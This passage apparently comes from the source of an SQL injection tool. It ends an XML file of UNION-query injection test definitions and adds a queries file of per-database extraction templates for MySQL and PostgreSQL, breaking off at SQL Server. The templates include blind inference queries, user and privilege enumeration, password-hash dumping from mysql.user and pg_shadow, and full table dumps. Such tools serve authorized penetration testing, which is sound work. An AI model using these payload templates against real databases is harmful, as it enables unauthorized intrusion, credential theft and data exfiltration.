<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>31-40</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query (NULL) - 31 to 40 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>NULL</char>
|
||||
<columns>31-40</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([RANDNUM]) - 31 to 40 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>31-40</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([CHAR]) - 41 to 50 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>41-50</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
<test>
|
||||
<title>Generic UNION query (NULL) - 41 to 50 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>NULL</char>
|
||||
<columns>41-50</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic UNION query ([RANDNUM]) - 41 to 50 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>[GENERIC_SQL_COMMENT]</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>41-50</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title>
|
||||
<stype>6</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>[COLSTART]-[COLSTOP]</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom)</title>
|
||||
<stype>6</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>NULL</char>
|
||||
<columns>[COLSTART]-[COLSTOP]</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)</title>
|
||||
<stype>6</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>[COLSTART]-[COLSTOP]</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([CHAR]) - 1 to 10 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>1-10</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query (NULL) - 1 to 10 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>NULL</char>
|
||||
<columns>1-10</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([RANDNUM]) - 1 to 10 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>1-10</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([CHAR]) - 11 to 20 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>11-20</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query (NULL) - 11 to 20 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>NULL</char>
|
||||
<columns>11-20</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([RANDNUM]) - 11 to 20 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>11-20</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([CHAR]) - 21 to 30 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>21-30</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query (NULL) - 21 to 30 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>NULL</char>
|
||||
<columns>21-30</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([RANDNUM]) - 21 to 30 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>21-30</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([CHAR]) - 31 to 40 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>31-40</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query (NULL) - 31 to 40 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>NULL</char>
|
||||
<columns>31-40</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([RANDNUM]) - 31 to 40 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>31-40</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([CHAR]) - 41 to 50 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[CHAR]</char>
|
||||
<columns>41-50</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query (NULL) - 41 to 50 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>NULL</char>
|
||||
<columns>41-50</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL UNION query ([RANDNUM]) - 41 to 50 columns</title>
|
||||
<stype>6</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>[RANDNUM]</char>
|
||||
<columns>41-50</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!-- End of UNION query tests -->
|
||||
</root>
|
||||
848
data/xml/queries.xml
Normal file
848
data/xml/queries.xml
Normal file
@@ -0,0 +1,848 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- MySQL -->
|
||||
<dbms value="MySQL">
|
||||
<cast query="CAST(%s AS CHAR)"/>
|
||||
<length query="CHAR_LENGTH(%s)"/>
|
||||
<isnull query="IFNULL(%s,' ')"/>
|
||||
<delimiter query=","/>
|
||||
<limit query="LIMIT %d,%d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="-- -" query2="/*" query3="#"/>
|
||||
<substring query="MID((%s),%d,%d)"/>
|
||||
<concatenate query="CONCAT(%s,%s)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="ORD(MID((%s),%d,1))>%d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
<hostname query="@@HOSTNAME"/>
|
||||
<table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
|
||||
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
|
||||
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
|
||||
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
|
||||
<users>
|
||||
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
||||
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT user,password FROM mysql.user" condition="user"/>
|
||||
<blind query="SELECT DISTINCT(password) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(password)) FROM mysql.user WHERE user='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
|
||||
<blind query="SELECT DISTINCT(privilege_type) FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE grantee %s '%s' LIMIT %d,1" query2="SELECT select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE grantee %s '%s'" count2="SELECT COUNT(*) FROM mysql.user WHERE user='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<dbs>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
|
||||
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" query2="SELECT database_name,table_name FROM mysql.innodb_table_stats" condition="table_schema" condition2="database_name"/>
|
||||
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' LIMIT %d,1" query2="SELECT table_name FROM mysql.innodb_table_stats WHERE database_name='%s' LIMIT %d,1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count2="SELECT COUNT(table_name) FROM mysql.innodb_table_stats WHERE database_name='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
|
||||
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT DISTINCT(db) FROM mysql.db WHERE %s" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- PostgreSQL -->
|
||||
<dbms value="PostgreSQL">
|
||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="OFFSET %d LIMIT %d"/>
|
||||
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" OFFSET "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="/*"/>
|
||||
<substring query="SUBSTRING((%s)::text FROM %d FOR %d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
|
||||
<inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_SCHEMA()"/>
|
||||
<hostname/>
|
||||
<!--<table_comment query="SELECT pg_catalog.obj_description(c.oid) FROM pg_catalog.pg_class c WHERE c.relname='%s'"/>-->
|
||||
<table_comment query="SELECT description FROM pg_description JOIN pg_class ON pg_description.objoid=pg_class.oid JOIN pg_namespace ON pg_class.relnamespace=pg_namespace.oid WHERE nspname='%s' AND relname='%s'"/>
|
||||
<column_comment query="SELECT col_description(pg_class.oid,pg_attribute.attnum) FROM pg_class JOIN pg_namespace ON pg_class.relnamespace=pg_namespace.oid JOIN pg_attribute ON pg_class.oid=pg_attribute.attrelid WHERE nspname='%s' AND relname='%s' AND attname='%s'"/>
|
||||
<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
||||
<users>
|
||||
<inband query="SELECT usename FROM pg_user"/>
|
||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT usename,passwd FROM pg_shadow" condition="usename"/>
|
||||
<blind query="SELECT DISTINCT(passwd) FROM pg_shadow WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(passwd)) FROM pg_shadow WHERE usename='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
|
||||
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<dbs>
|
||||
<inband query="SELECT schemaname FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>
|
||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT datname FROM pg_database WHERE %s" condition="datname"/>
|
||||
<blind query="SELECT DISTINCT(datname) FROM pg_database WHERE %s" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database WHERE %s" condition="datname"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT schemaname,tablename FROM pg_tables WHERE %s" condition="tablename" condition2="schemaname"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft SQL Server -->
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||
<isnull query="ISNULL(%s,' ')"/>
|
